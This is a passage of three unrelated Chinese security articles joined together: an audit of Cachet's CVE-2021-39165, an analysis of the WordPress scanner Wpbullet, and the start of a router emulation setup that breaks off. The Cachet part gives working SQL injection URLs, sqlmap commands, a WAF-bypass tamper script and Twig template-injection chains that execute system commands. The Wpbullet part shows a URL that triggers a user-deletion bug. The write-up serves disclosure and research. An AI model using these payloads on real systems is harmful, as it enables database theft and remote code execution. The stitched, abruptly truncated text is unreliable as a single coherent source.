> 事先声明：本次测试过程完全处于本地或授权环境，仅供学习与参考，不存在未授权测试过程。本文提到的漏洞《Cachet
> SQL注入漏洞（CVE-2021-39165）》已经修复，也请读者勿使用该漏洞进行未授权测试，否则作者不承担任何责任
## 0x01 故事的起源
一个百无聊赖的周日晚上，我在知识星球闲逛，发现有一个匿名用户一连向我提出了两个问题：
本来不是很想回答这两个问题，一是感觉比较基础，二是现在大部分人都卷Java去了，关注PHP的其实不多。不过我搜索了一下自己的星球，发现我的确没有讲过如何调试PHP代码，那么回答一下这个问题也未尝不可。
既然如此，我就打开自己常用的PHP
IDE之一PHPStorm（另一款是VSCode），看了看硬盘里落满灰尘的PHP代码，要不就是几年前的版本要不就是没法做演示的非开源项目。如果要新写一篇教程，最好还是上网上找个新的CMS做演示。
于是我打开了Github，搜索“PHP”关键字，点进了PHP这个话题。PHP话题下有几类开源项目，一是一些PHP框架和库，排在前面的主要是Laravel、symfony、Yii、guzzle、PHPMailer、composer等；二是CMS和网站应用，排在前面的有matomo、nextcloud、monica、Cachet等；三是一些README和教学项目，比如awesome-php、DesignPatternsPHP等。
做演示自然选择开箱即用的第二类，于是我挑了一个功能常见且简单的Cachet。
当天晚上我自己搭建、调试、运行起了Cachet这个CMS，并写了一篇简单的教程发在星球里：
本来这个故事到此就结束了，但是不安分的我当时就在想，既然搭都搭起来了，那不如就对其做一遍审计吧。
## 0x02 Cachet代码审计
Cachet是一款基于Laravel框架开发的状态页面（Statuspage）系统。Statuspage是云平台流行后慢慢兴起的一类系统，作用是向外界展示当前自己各个服务是否在正常运行。国外很多大型互联网平台都有Statuspage，最著名的有
Github、Twitter、Facebook、Amazon AWS等。
Statuspage中占据领导地位的是Statuspage.io，隶属于Atlassian。但毕竟这是一个付费的系统，Cachet得益于自己开源的优势，也有不少拥趸，在Github上有12k多关注。
Cachet最新的稳定版本是2.3.18，基于Laravel 5.2开发，我将其拉下来安装好后开始审计。
> 经过验证，dev版本的代码可能有所差异（主要是后台getshell部分的POC利用链不一样），本文仅基于稳定版做审计。
Laravel框架的CMS审计，我主要关注下面几个点：
* 网站路由
* 控制器（app/Http/Controllers）
* 中间件（app/Http/Middleware）
* Model（app/Models）
* 网站配置（config）
* 第三方扩展（composer.json）
先从路由开始看起，以`app/Http/Routes/StatusPageRoutes.php`为例：
$router->group(['middleware' => ['web', 'ready', 'localize']], function (Registrar $router) {
$router->get('/', [
'as' => 'status-page',
'uses' => 'StatusPageController@showIndex',
]);
$router->get('incident/{incident}', [
'as' => 'incident',
'uses' => 'StatusPageController@showIncident',
]);
$router->get('metrics/{metric}', [
'as' => 'metrics',
'uses' => 'StatusPageController@getMetrics',
]);
$router->get('component/{component}/shield', 'StatusPageController@showComponentBadge');
});
其中可以看出的信息是：
* 某个path所对应的Controller和方法
* 整个模块使用的中间件
前者比较好理解，中间件的作用通常是做权限的校验、全局信息的提取等。这个route组合用了三个中间件web、ready和localize。我们可以在app/Http/Kernel.php找到这三个名字对应的中间件类，他们的作用是：
* web是多个中间件的组合，作用主要是设置Cookie和session、校验csrf token等
* ready用于检查当前CMS是否有初始化，如果没有，则跳到初始化的页面
* localize主要用于根据请求中的Accept-Language来展示不同语言的页面
接着我会主要关注那些不校验权限的Controller（就是没有admin和auth中间件的Controller）。我关注到了app/Http/Controllers/Api/ComponentController.php的getComponents方法：
/**
* Get all components.
*
* @return \Illuminate\Http\JsonResponse
*/
public function getComponents()
{
if (app(Guard::class)->check()) {
$components = Component::query();
} else {
$components = Component::enabled();
}
$components->search(Binput::except(['sort', 'order', 'per_page']));
if ($sortBy = Binput::get('sort')) {
$direction = Binput::has('order') && Binput::get('order') == 'desc';
$components->sort($sortBy, $direction);
}
$components = $components->paginate(Binput::get('per_page', 20));
return $this->paginator($components, Request::instance());
}
其中有两个关键点：
* `$components->search(Binput::except(['sort', 'order', 'per_page']));`
* `$components->sort($sortBy, $direction);`
sort和search方法都不是Laravel自带的Model方法，这种情况一般是自定义的scope。scope是定义在Model中可以被重用的方法，他们都以`scope`开头。我们可以在app/Models/Traits/SortableTrait.php中找到scopeSort方法：
trait SortableTrait
{
/**
* Adds a sort scope.
*
* @param \Illuminate\Database\Eloquent\Builder $query
* @param string $column
* @param string $direction
*
* @return \Illuminate\Database\Eloquent\Builder
*/
public function scopeSort(Builder $query, $column, $direction)
{
if (!in_array($column, $this->sortable)) {
return $query;
}
return $query->orderBy($column, $direction);
}
}
`$column`经过了`in_array`的校验，`$direction`传入的是bool类型，这两者均无法传入恶意参数。
我们再看看scopeSearch方法，在app/Models/Traits/SearchableTrait.php中：
<?php
trait SearchableTrait
{
/**
* Adds a search scope.
*
* @param \Illuminate\Database\Eloquent\Builder $query
* @param array $search
*
* @return \Illuminate\Database\Eloquent\Builder
*/
public function scopeSearch(Builder $query, array $search = [])
{
if (empty($search)) {
return $query;
}
if (!array_intersect(array_keys($search), $this->searchable)) {
return $query;
}
return $query->where($search);
}
}
Cachet在调用search时传入的是`Binput::except(['sort', 'order',
'per_page'])`，这个返回值是将用户完整的GPC输入除掉sort、order、per_page三个key组成的数组。也就是说，传入scopeSearch的这个`$search`数组的键、值都是用户可控的。
不过，可见这里使用了`array_intersect`函数对`$search`数组进行判断，如果返回为false，则不会继续往下执行。
大概看了一圈Cachet的代码，没有太多功能点。总结起来它的特点是：
**1.有一部分代码逻辑在Controller中，但其还有大量逻辑放在CommandHandler中。**
* “Commands & Handlers”逻辑用于在Laravel中实现命令模式
* 这个设计模式分割了输入和逻辑操作（Source和Sink），让代码审计变得麻烦了许多
**2.整站前台的功能很少，权限检查在中间件中，配置如下**
* 前台和API中的读取操作（GET）不需要用户权限
* API中的写入操作（POST、PUT、DELETE）需要用户权限
* 后台所有操作都需要用户权限
**3.一些特殊操作都会经过逻辑判断，比如上文说到的两个操作，作者相对比较有安全意识**
**4.Cachet默认使用Laravel-Binput做用户输入，而这个库对主要是用于做安全过滤，但这个过滤操作也为后面实战中绕过WAF提供了极大帮助**
相信大家审计中经常会遇到类似情况，前台功能很少导致进展不下去，那么多看看框架部分的代码也许能发现一些问题。
遇到困难不要慌，去冰箱里拿了一瓶元气森林冷静冷静，重新回来看代码。回看前面的scopeSearch方法，我突然发现了问题：
if (!array_intersect(array_keys($search), $this->searchable)) {
return $query;
}
return $query->where($search);
`array_intersect`这个函数，他的功能是计算两个输入数组的 **交集**
，乍一看这里处理好像经过了校验，用户输入的数组的key如果不在`$this->searchable`中，就无法取到交集。
但是可以想象一下，我的输入中只要有一个key在`$this->searchable`中，那么这里的交集就可以取到至少一个值，这个if语句就不会成立。所以，这个检查形同虚设，用户输入的数组`$search`被完整传入`where()`语句中。
## 0x03 Laravel代码审计
熟悉Laravel的同学对`where()`应该不陌生，简单介绍一下用法。我们可以通过传入两个参数key和value，来构造一个WHERE条件：
DB::table('dual')->where('id', 1);
// 生成的WHERE条件是：WHERE id = 1
如果传入的是三个参数，则第二个参数会认为是条件表达式中的符号，比如：
DB::table('dual')->where('id', '>', 18);
// 生成的WHERE条件是：WHERE id > 18
当然where也是支持传入数组的，我看可以将多个条件组合成一个数组传入where函数中，比如：
DB::table('dual')->where([
['id', '>', '18'],
['title', 'LIKE', '%example%']
]);
// 生成的WHERE条件是：WHERE id > 18 AND title LIKE '%example%'
那么，思考下面三个代码在Laravel中是否可能导致SQL注入：
* `where($input, '=', 1)` 当where的第一个参数被用户控制
* `where('id', $input, 1)` 当where的第二个参数被用户控制，且存在第三个参数
* `where($input)` 当where只有一个参数且被用户控制
这三个代码对应着不同情况，第一种是key被控制，第二种是符号被控制，第三种是整个条件都被控制。
测试的过程就不说了，经过测试，我获取了下面的结果：
* 当第一个参数key可控时，传入任意字符串都会报错，具体的错误为“unknown column”，但类似反引号、双引号这样的定界符将会被转义，所以无法逃逸出field字段进行注入
* 当第二个参数符号可控时，输入非符号字符不会有任何报错，也不存在注入
* 当整体可控时，相当于可以传入多个key、符号和value，但经过前两者的测试，key和符号位都是不能注入的，value就更不可能
仿佛又陷入了困境。
我尝试debug进入`where()`函数看了看它内部的实现，`src/Illuminate/Database/Query/Builder.php`：
public function where($column, $operator = null, $value = null, $boolean = 'and')
{
// If the column is an array, we will assume it is an array of key-value pairs
// and can add them each as a where clause. We will maintain the boolean we
// received when the method was called and pass it into the nested where.
if (is_array($column)) {
return $this->addArrayOfWheres($column, $boolean);
}
// ...
// If the given operator is not found in the list of valid operators we will
// assume that the developer is just short-cutting the '=' operators and
// we will set the operators to '=' and set the values appropriately.
if (! in_array(strtolower($operator), $this->operators, true) &&
! in_array(strtolower($operator), $this->grammar->getOperators(), true)) {
list($value, $operator) = [$operator, '='];
}
当第一个参数是数组时，将会执行到`addArrayOfWheres()`方法。另外从上面的第二个if语句也可以看出，这里面对参数`$operator`做了校验，这也是其无法注入的原因。
跟进一下`addArrayOfWheres()`方法：
protected function addArrayOfWheres($column, $boolean, $method = 'where')
{
return $this->whereNested(function ($query) use ($column, $method) {
foreach ($column as $key => $value) {
if (is_numeric($key) && is_array($value)) {
call_user_func_array([$query, $method], $value);
} else {
$query->$method($key, '=', $value);
}
}
}, $boolean);
}
public function whereNested(Closure $callback, $boolean = 'and')
{
$query = $this->forNestedWhere();
call_user_func($callback, $query);
return $this->addNestedWhereQuery($query, $boolean);
}
可以观察到，这里面有个很重要的回调，遍历了用户输入的第一个数组参数`$column`，当发现其键名是一个数字，且键值是一个数组时，将会调用`[$query,
$method]`，也就是`$this->where()`，并将完整的`$value`数组作为参数列表传入。
这个过程就是为了实现上面说到的`where()`的第三种用法：
DB::table('dual')->where([ ['id', '>', '18'], ['title', 'LIKE', '%example%']]);
所以，通过这个方法，我可以做到了一件事情： **从控制`where()`的第一个参数，到能够完整控制`where()`的所有参数**。
那么，再回看where函数的参数列表：
public function where($column, $operator = null, $value = null, $boolean = 'and')
第四个`$boolean`参数就格外显眼了，这是控制WHERE条件连接逻辑的参数，默认是and。这个`$boolean`既不是SQL语句中的“键”，也不是SQL语句中的“值”，而就是SQL语句的代码，如果没有校验，一定存在SQL注入。
事实证明，这里并没有经过校验。我将debug模式打开，并注释了抑制报错的逻辑，即可在页面上看到SQL注入的报错：
`1[3]`参数可以注入任何语句，所以这里存在一个SQL注入漏洞。而且因为这个API接口是GET请求，所以无需用户权限，这是一个无限制的前台SQL注入。
Laravel的这个数组特性可以类比于6年前我第一次发现的ThinkPHP3系列SQL注入。当时的ThinkPHP注入是我在乌云乃至安全圈站稳脚跟的一批漏洞，它开创了使用数组进行框架ORM注入的先河，其影响和其后续类似的漏洞也一直持续到今天。遗憾的是，Laravel的这个问题是出现在`where()`的第一个参数，官方并不认为这是框架的问题。
## 0x04 SQL注入利用
回到Cachet。默认情况下Cachet的任何报错都不会有详情，只会返回一个500错误。且Laravel不支持堆叠注入，那么要利用这个漏洞，就有两种方式：
* 通过UNION SELECT注入直接获取数据
* 通过BOOL盲注获取数据
UNION肯定是最理想的，但是这里无法使用，原因是用户的这个输入会经过两次字段数量不同的SQL语句，会导致其中至少有一个SQL语句在UNION
SELECT的时候出错而退出。
Bool盲注没有任何问题，我本地是Postgres数据库，所以以其为例。
构造一个能够显示数据的请求：
http://127.0.0.1:8080/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=or+%27a%27=%3F%20and%201=1)+--+
将and 1=1修改为and 1=2，数据消失了：
http://127.0.0.1:8080/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=or+%27a%27=%3F%20and%201=2)+--+
说明盲注可以利用，于是我选择使用SQLMap来利用漏洞。SQLMap默认情况下将整个参数替换成SQL注入的Payload，而这个注入点需要前缀和后缀，需要对参数进行修改。
我先使用一个能够爆出数据的URL，比如`/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=or+%27a%27=%3F%20and%201=1)+--+`，在这个括号后面增加个星号，然后作为`-u`目标进行检测即可：
python sqlmap.py -u "http://127.0.0.1:8080/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=or+%27a%27=%3F%20and%201=1)*+--+"
注入点被SQLMap识别了。因为表结构已经知道，成功获取用户、密码：
## 0x05 后台代码审计
这个注入漏洞的优势是无需用户权限，但劣势是无法堆叠执行，原因我在星球的这篇帖子里有介绍过（虽然帖子里说的是ThinkPHP）。主要是在初始化PDO的时候设置了`PDO::ATTR_EMULATE_PREPARES`为false，而数据库默认的参数化查询不允许prepare多个SQL语句。
无法堆叠执行的结果就是没法执行UPDATE语句，我只能通过注入获取一些信息，想要进一步执行代码，还需要继续审计。
接下来的审计我主要是在看后台逻辑，挖掘后台漏洞建议是黑盒结合白盒，这样会更快，原因是后台可能有很多常见的敏感操作，比如文件上传、编辑等，这些操作有时候可能直接抓包一改就能测出漏洞，都不需要代码审计了。
Cachet的后台还算相对安全，没有文件操作的逻辑，唯一一个上传逻辑是“Banner Image”的修改，但并不存在漏洞。
这时候我关注到了一个功能，Incident Templates，用于在报告事故的时候简化详情填写的操作。这个功能支持解析Twig模板语言：
对于Twig模板的解析是在API请求中，用API创建或编辑Incident对象的时候会使用到Incident Templates，进而执行模板引擎。
利用时需要现在Web后台添加一个Incident
Template，填写好Twig模板，记下名字。再发送下面这个数据包来执行名为“ssti”的模板，获得结果：
POST /api/v1/incidents HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
X-Cachet-Token: QLGMRm5N8bUjVxbdLF6m
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
visible=0&status=1&name=demo&template=ssti
其中X-Cachet-Token是注入时获取的用户的API Key。我添加了一个内容是`{{ 233 * 233 }}`的Incident
Template，渲染结果被成功返回在API的结果中：
Twig是PHP的一个著名的模板引擎，相比于其他语言的模板引擎，它提供了更安全的沙盒模式。默认模式下模板引擎没有特殊限制，而沙盒模式下只能使用白名单内的tag和filter。
Cachet中没有使用沙盒模式，所以我不做深入研究。普通模式想要执行恶意代码，需要借助一些内置的tag、filter，或者上下文中的危险对象。在Twig
v1.41、v2.10和v3后，增加了`map`和`filter`这两个filter，可以直接用来执行任意函数：
{{["id"]|filter("system")|join(",")}}
{{["id"]|map("system")|join(",")}}
但是Cachet v2.3.18中使用的是v1.40.1，刚好不存在这两个filter。那么旧版本如何来利用呢？
PortSwigger曾在2015年发表过一篇模板注入的文章《Server-Side Template
Injection》，里面介绍过当时的Twig模板注入方法：
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
`_self`是Twig中的一个默认的上下文对象，指代的是当前Template，其中的`env`属性是一个`Twig_Environment`对象。`Twig_Environment`类的`registerUndefinedFilterCallback`和`getFilter`就用来注册和执行回调函数，通过这两次调用，即可构造一个任意命令执行的利用链。
但是，这个执行命令的方法在Twig
v1.20.0中被官方修复了：https://github.com/twigphp/Twig/blob/1.x/CHANGELOG#L430，修复方法是发现object是当前对象时，则不进行属性的获取，下面这个if语句根本不会进去：
// object property
if (self::METHOD_CALL !== $type && !$object instanceof self) { // Twig_Template does not have public properties, and we don't want to allow access to internal ones
if (isset($object->$item) || array_key_exists((string) $item, $object)) {
if ($isDefinedTest) {
return true;
}
if ($this->env->hasExtension('sandbox')) {
$this->env->getExtension('sandbox')->checkPropertyAllowed($object, $item);
}
return $object->$item;
}
}
这个修改逻辑是科学的，因为Twig中正常只允许访问一个对象的public属性和方法，但因为`_self`指向的是`$this`，而`$this`可以访问父类的protected属性，所以才绕过了对作用域的限制，访问到了`env`。这个修复对此作了加强，让`_self`的表现和其他对象相同了。
另外，`_self.getEnvironment()`原本也可以访问`env`，这个修复也一起被干掉了。
Cachet使用rcrowe/twigbridge来将twig集成进Laravel框架，按照composer.lock中的版本号来肯定高于v1.20.0（实际是v1.40.1），也就是说，我也无法使用这个Payload做命令执行。
## 0x06 寻找Twig利用链与代码执行
Cachet中使用了下面这段代码来渲染Twig模板：
protected function parseIncidentTemplate($templateSlug, $vars)
{
if ($vars === null) {
$vars = [];
}
$this->twig->setLoader(new Twig_Loader_String());
$template = IncidentTemplate::forSlug($templateSlug)->first();
return $this->twig->render($template->template, $vars);
}
其中`$vars`是用户从POST中传入的一个数组，这意味着注入到模板中的变量只是简单的字符串数组，没有任何对象。再加上前文说到的`_self`对象也被限制了，我发现很难找到可以被利用的方法。
此时我关注到了rcrowe/twigbridge这个库。rcrowe/twigbridge用于在Laravel和Twig之间建立一个桥梁，让Laravel框架可以直接使用twig模板引擎。
根据Laravel的依赖注入、控制反转的设计模式，如果要实现“桥梁”的功能，那么就需要编写一个Service Provider，在Service
Provider中对目标对象进行初始化，并放在容器中。
我在rcrowe/twigbridge的ServiceProvider中下了断点，捋了捋Twig初始化的过程，发现一个有趣的点：
`baseTemplateClass`不是默认的`\Twig\Template`，而是一个自定义的`TwigBridge\Twig\Template`。`baseTemplateClass`就是在模板中，`_self`指向的那个对象的基类，是一个很重要的类。
在src/Twig/Template.php中，我发现`$context`中有一个看起来很特殊的对象`__env`：
/**
* {@inheritdoc}
*/
public function display(array $context, array $blocks = [])
{
if (!isset($context['__env'])) {
$context = $this->env->mergeShared($context);
}
if ($this->shouldFireEvents()) {
$context = $this->fireEvents($context);
}
parent::display($context, $blocks);
}
在此处下断点可以看到，这个`__env`是一个`\Illuminate\View\Factory`对象，原来是Twig共享了Laravel原生View模板引擎中的全局变量。
那么，我们可以找找`\Illuminate\View\Factory`类中是否有危险属性和函数。`\Illuminate\Events\Dispatcher`是Factory类的属性，其中存在一对事件监听函数：
public function listen($events, $listener, $priority = 0)
{
foreach ((array) $events as $event) {
if (Str::contains($event, '*')) {
$this->setupWildcardListen($event, $listener);
} else {
$this->listeners[$event][$priority][] = $this->makeListener($listener);
unset($this->sorted[$event]);
}
}
}
public function fire($event, $payload = [], $halt = false)
{
// ...
foreach ($this->getListeners($event) as $listener) {
$response = call_user_func_array($listener, $payload);
它的限制主要是，回调函数必须是一个可以被自动创建与初始化的类方法，比如静态方法。我很快我找到了一对合适的回调`\Symfony\Component\VarDumper\VarDumper`，我们可以先调用setHandler将`$handler`设置成任意函数，再调用`dump`来执行：
class VarDumper
{
private static $handler;
public static function dump($var)
{
// ...
return call_user_func(self::$handler, $var);
}
public static function setHandler(callable $callable = null)
{
$prevHandler = self::$handler;
self::$handler = $callable;
return $prevHandler;
}
}
构造出的模板代码如下，成功执行任意命令：
{{__env.getDispatcher().listen('ssti1', '\\Symfony\\Component\\VarDumper\\VarDumper@setHandler')}}
{% set a = __env.getDispatcher().fire('ssti1', ['system']) %}
{{__env.getDispatcher().listen('ssti2', '\\Symfony\\Component\\VarDumper\\VarDumper@dump')}}
{% set a = __env.getDispatcher().fire('ssti2', ['ping -n 1 127.0.0.1']) %}
除了`__env`外，上下文中还被注入了一个`app`变量，这是一个`\Illuminate\Foundation\Application`对象，它的利用链就更简单了，因为其中有一个函数可以直接用来执行任意代码：
public function call($callback, array $parameters = [], $defaultMethod = null)
{
if ($this->isCallableWithAtSign($callback) || $defaultMethod) {
return $this->callClass($callback, $parameters, $defaultMethod);
}
$dependencies = $this->getMethodDependencies($callback, $parameters);
return call_user_func_array($callback, $dependencies);
}
所以，我构造了一个模板代码来执行任意PHP函数，这个方法相对简单很多：
{{ app.call('md5', ['123456']) }}
至此，我又搞定了后台代码执行。两个漏洞组合起来，就可以成功拿下Cachet系统权限。
## 0x07 走向Bug Bounty
前面说过，国外大量大厂都会使用Statuspage，所以我跑了一下hackerone、bugcrowd中使用了Cachet系统的厂商：
不多，大部分厂商还是在用Statuspage.io。
在实战中，我遇到了一个比较棘手的问题，大量厂商使用了WAF，这让GET型的注入变得很麻烦。解决这个问题的方法还是回归到代码审计中，Cachet获取用户输入是使用graham-campbell/binput，我在前面审计的时候发现其在获取输入的基础上会做一次过滤：
public function get($key, $default = null, $trim = true, $clean = true)
{
$value = $this->request->input($key, $default);
return $this->clean($value, $trim, $clean);
}
跟进`clean()`我发现这个库最终对用户的输入做了一次处理：
protected function process($str)
{
$str = $this->removeInvisibleCharacters($str);
//...
}
protected function removeInvisibleCharacters($str, $urlEncoded = true)
{
$nonDisplayables = [];
if ($urlEncoded) {
$nonDisplayables[] = '/%0[0-8bcef]/';
$nonDisplayables[] = '/%1[0-9a-f]/';
}
$nonDisplayables[] = '/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S';
do {
$str = preg_replace($nonDisplayables, '', $str, -1, $count);
} while ($count);
return $str;
}
`removeInvisibleCharacters()`方法将输入中的所有控制字符给替换成空了。那么，这个特性可以用于绕过WAF。
正常的注入语句会被WAF拦截：
在关键字`OR`中间插入一个控制字符`%01`，即可绕过WAF正常注入了：
我写了一个简单的SQLMap Tamper来帮我进行这个处理：
#!/usr/bin/env python
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOWEST
KEYWORD_PATTERN = re.compile(r'\b[a-zA-Z]{2,}\b')
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Add %01 to all the keyword
>>> tamper("1 AND '1'='1")
"1 A%01ND '1'='1"
"""
payload_list = list(payload)
offset = 0
for g in KEYWORD_PATTERN.finditer(payload):
start = g.start()
end = g.end()
m = (start + end) // 2
payload_list.insert(offset + m, '%01')
offset += 1
return ''.join(payload_list)
使用这个tamper：
python sqlmap.py -u "https://target/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=o%02r+%27a%27=%3F%20a%01nd%201=1)*+--+" --tamper addinvisiblechars.py -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"
简单提交了几个有Bug Bounty的厂商，均已得到了确认：
## 漏洞时间线
本文涉及的漏洞已经提交给Cachet官方，但是官方开发者不是很活跃，一直没有回应。在issue中找到了一个fork的厂商，相对比较活跃，也可以联系到维护人，于是以fork厂商的身份对漏洞进行了通报。
以下是漏洞的生命时间线：
* Jul 19, 2021 - 漏洞发现
* Jul 20, 2021 - SQL注入提交给Laravel官方，Laravel并不认为是自己的问题
* Jul 19 ~ jul 30, 2021 - 对hakcerone、bugcrowd上的厂商进行测试，并提交漏洞
* Jul 27, 2021 - 漏洞提交给Cachet官方和Fork的维护者
* Jul 27, 2021 - 发现Fork的项目在此之前意外修复过这个漏洞
* Aug 27, 2021, 01:36 AM GMT+8 - 漏洞公告发布，确认编号CVE-2021-39165
* * * | 社区文章 |
## 前言
近日发现了一款有意思的PHP静态代码审计工具——Wpbullet。与其他PHP代码审计工具不同的是，Wpbullet是一款针对WordPress插件/主题开发的静态代码分析工具。
Wordpress自身代码尚且可以说很安全，但是其插件的安全却参差不齐，这款工具可以对WordPress、插件、主题进行静态代码初步的审计，方便后续的漏洞挖掘工作。
由于该工具的说明文档较少，我对其工作原理以及其检测能力比较好奇，因此这篇文章除了简单介绍一下这个工具如何使用之外，更重要的是分析Wpbuttle这块工具的源码，介绍一下它的检测思路。
## 工具安装
Wpbulle的github地址如下：
<https://github.com/webarx-security/wpbullet>
安装过程很简单，只需克隆项目、安装依赖并运行脚本即可
* \$ git clone <https://github.com/webarx-security/wpbullet> wpbullet
* \$ cd wpbullet
* \$ pip install -r requirements.txt
* \$ python wpbullet.py
python2.x python3.x环境皆可使用。笔者这里测试使用的是python3.7环境
## **工具使用**
可用选项：
值得注意的是Wpbulle这款工具除了支持对本地源代码的审计之外，还支持根据传入的插件/主题
URL
自动下载源码来审计。如上图使用说明可见，--path除了可以传入本地插件目录以外，还支持传入wordpress官网中插件下载路径，工具将对插件下载解压并进行审计操作。
在了解了Wpbulle工具如何安装与使用后，我们来看一下Wpbulle代码，了解一下这个工具是如何实现的，以及其是否能很好的帮助我们挖出漏洞
首先我们来到扫描入口处wpbullet-dev/core/scanner.py
在scan中，首先可以看到其根据需要，从提供的wordpress官网插件地址进行下载的操作，如下图：
上图分别对非zip与zip文件进行下载处理。当然，如果我们用Wpbulle扫描本地插件，是不需要进行上图下载操作。
Scan方法中随后遍历插件目录，对后缀为php的文件调用check_file对文件进行分析，见下图红框出：
我们跟进一下check_file方法
check_file方法中首先读取文件内容，并依次通过passive_check_processor
方法与process_file方法对读取的内容进行处理
### passive_check
首先我们来看一下passive_check_processor方法，其实现如下
passive_check方法中分别调用了scope_admin_actions、scope_ajax_hooks、scope_admin_init三个扫描器对文件内容进行扫描
首先我们来看下scope_admin_actions
scope_admin_actions方法中提供了一个正则表达式，并对文件内容进行匹配，最终返回匹配的match[4]与match[10]
我们来看下这个正则表达式
(add_action(\s{0,}\S{0,})\\((\s{0,}\S{0,})(\"|')(admin _action_ [a-zA-Z0-9
_-]+))(?!{}(\"|')(\s{0,}\S{0,}),(.+)(\"|')(\s{0,})([a-zA-Z0-9_
-]+)(\s{0,})(\"|')
要完成什么工作
我们以Keypic任意用户删除漏洞举例：
“最近，我们发现admin_action_钩子存在一个问题，该钩子允许任何登录的用户访问回调函数而不检查发出请求的用户是否有权限访问它们。我们发现该插件的当前版本[Keypic](https://wordpress.org/plugins/keypic/)
2.1.2，允许任何登录WordPress的人删除其他用户账号。”
详细链接如下
<https://www.pluginvulnerabilities.com/2016/08/15/authenticated-user-deletion-vulnerability-in-keypic/>
我们再来看下漏洞代码
这里涉及到添加action的代码如下：
add_action('admin_action_keypic_report_spam_and_delete_user',
'keypic_report_spam_and_delete_user');
通过上文的正则匹配
看一下match[4]与match[10]分别匹配到了什么
使用工具对该文件进行扫描，扫描结果如下
在wordpress插件中 admin_action_前缀的钩子，均可以通过
<http://[WordPress路径>] /wp-admin/admin.php?action=xxx
方式访问回调函数，例如案例中任意用户删除漏洞，就可以通过
<http://[WordPress路径>]
/wp-admin/admin.php?action=keypic_report_spam_and_delete_user&id= [用户ID]
链接触发。
注意，仅仅通过admin_action_前缀注册钩子，并不能保证只允许管理员用户可以访问该功能，这中方式注册的钩子，仅作用于可以通过后台地址来访问，而大多数已经登录的用户，均可以访问admin.php。
接着我们来看下scope_ajax_hooks
与上文admin_action_前缀注册钩子极为相似，以wp_ajax前缀注册的钩子，可以通过如下链接访问
http:// [WordPress路径] /wp-admin/admin-ajax.php?action=xxx
这样的url来访问回调函数
最后我们来看下scope_admin_ini
这里通过正则表达式获取所有通过add_action 函数注admin初始化信息
admin_in前缀注册钩子对应的回调函数可以通过访问admin-ajax.php与admin-post.php地址触发，同样，任意登陆的用户都可以访问该功能。
总的来说：在passive_check环节中，wpBullet使用正则表达式的方式分析所有通过add_action 函数注册的
admin_action、ajax hooks
与 admin_init信息，汇总后输出展示。
### process_file
接下来分析下process_file
process_file模块用来加载预先编译好的扫描插件。
扫描插件存放于Modules目录
以代码执行漏洞为例
在插件中functions列表中罗列出高危函数，在blacklist中罗列过滤函数，程序加载插件后会调用build_pattern方法生成对应的正则规则，如下图
在生成正则表达式的过程中，除了兼顾规则插件中的高危函数与blacklist，同时也兼顾高危函数中的参数是否可控，见下图user_input
举一个简单的例子如下：
扫描结果如下：
在这个环节中，wpBullet通过正则判断是否有用户可控变量未经black_list中的函数过滤直接传入插件高危函数列表中所对应的函数中去。
## 总结
先说说Wpbullet的优点：Wpbullet是一款少有的针对wordpress审计而开发的基于文本特征的审计工具，其原理不算复杂，可扩展性比较强。
再说说Wpbullet的缺点：Wpbullet是基于文本特征的分析器，与基于AST
树和CFG的RIPS等扫描器相比，Wpbullet很难准确的判断外部输入是否经过安全函数的处理，以目前插件运作的方式来看，漏报量会很大。
但总的来说，使用这款工具还是可以一定程度上辅助我们对wordpress插件进行漏洞挖掘工作。 | 社区文章 |
**作者：lxonz@白帽汇安全研究院
原文链接：<https://bbs.pediy.com/thread-266357.htm>**
此次分析是基于轩哥的文章https://xuanxuanblingbling.github.io/iot/2020/10/26/rv110w/，同时因为轩哥用的是实机，很多师傅可能不想入手路由器，因此我这篇文章是针对路由器的httpd进行hook在通过qemu-system模拟启动，我整理好的环境已经上传至<https://hub.docker.com/r/vulshare/cve-2020-3331>，有需要的师傅可以自行下载，并且如果想一键生成环境的话，可以来<http://vulfocus.fofa.so/>，启动过程可能会比较长，估摸着6分钟以内，耐心等一下~
docker pull vulshare/cve-2020-3331:lxonz
docker run -itd -P vulshare/cve-2020-3331:lxonz
## 本地环境部署
**本地环境搭建遇到的几点问题：**
**1.因为没有nvram所以不能成功启动，因此需要hook**
**2.建立交叉编译环境，将代码作为共享库编译**
从调试到封装成docker的周期比较长，有些技术细节记得不太清了，可能文章思路有点跳跃，有问题的地方读者指出就好，我这边修正。
本次调试环境：
1.vmlinux-3.2.0-4-4kc-malta
2.debian_wheezy_mipsel_standard.qcow2
下载地址：<https://people.debian.org/~aurel32/qemu/mips/>
qemu启动参数：
qemu-system-mipsel -M malta \
-kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_wheezy_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=tty0 nokalsr" \
-net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
因为实际环境也是没有aslr的，所以在这里我们直接关掉，否则没有办法泄露libc。
关于基本的环境搭建的具体部分可以去参考我之前的一篇文章<https://nosec.org/home/detail/4634.html>
chroot squashfs-root sh
mount -o bind /dev ./dev/
mount -t proc /proc/ ./proc/
这里如果我们单纯的启动./http是起不来的，因为我们没有nvram，过不了他的检查，所以在这里我采取的hook的方法，将他的nvram_get
hook掉，即可启动，目标平台是mipsel所以我们需要使用buildroot来搭建一个交叉编译的环境。
sudo apt-get update
sudo apt-get install libncurses5-dev patch
git clone https://github.com/buildroot/buildroot.git
cd buildroot
make clean
make menuconfig
****
进到Target options这里面之后我们需要选他的架构和大小端序
在toolchain里选择kernel版本uname -a看一下可以了，然后保存退出
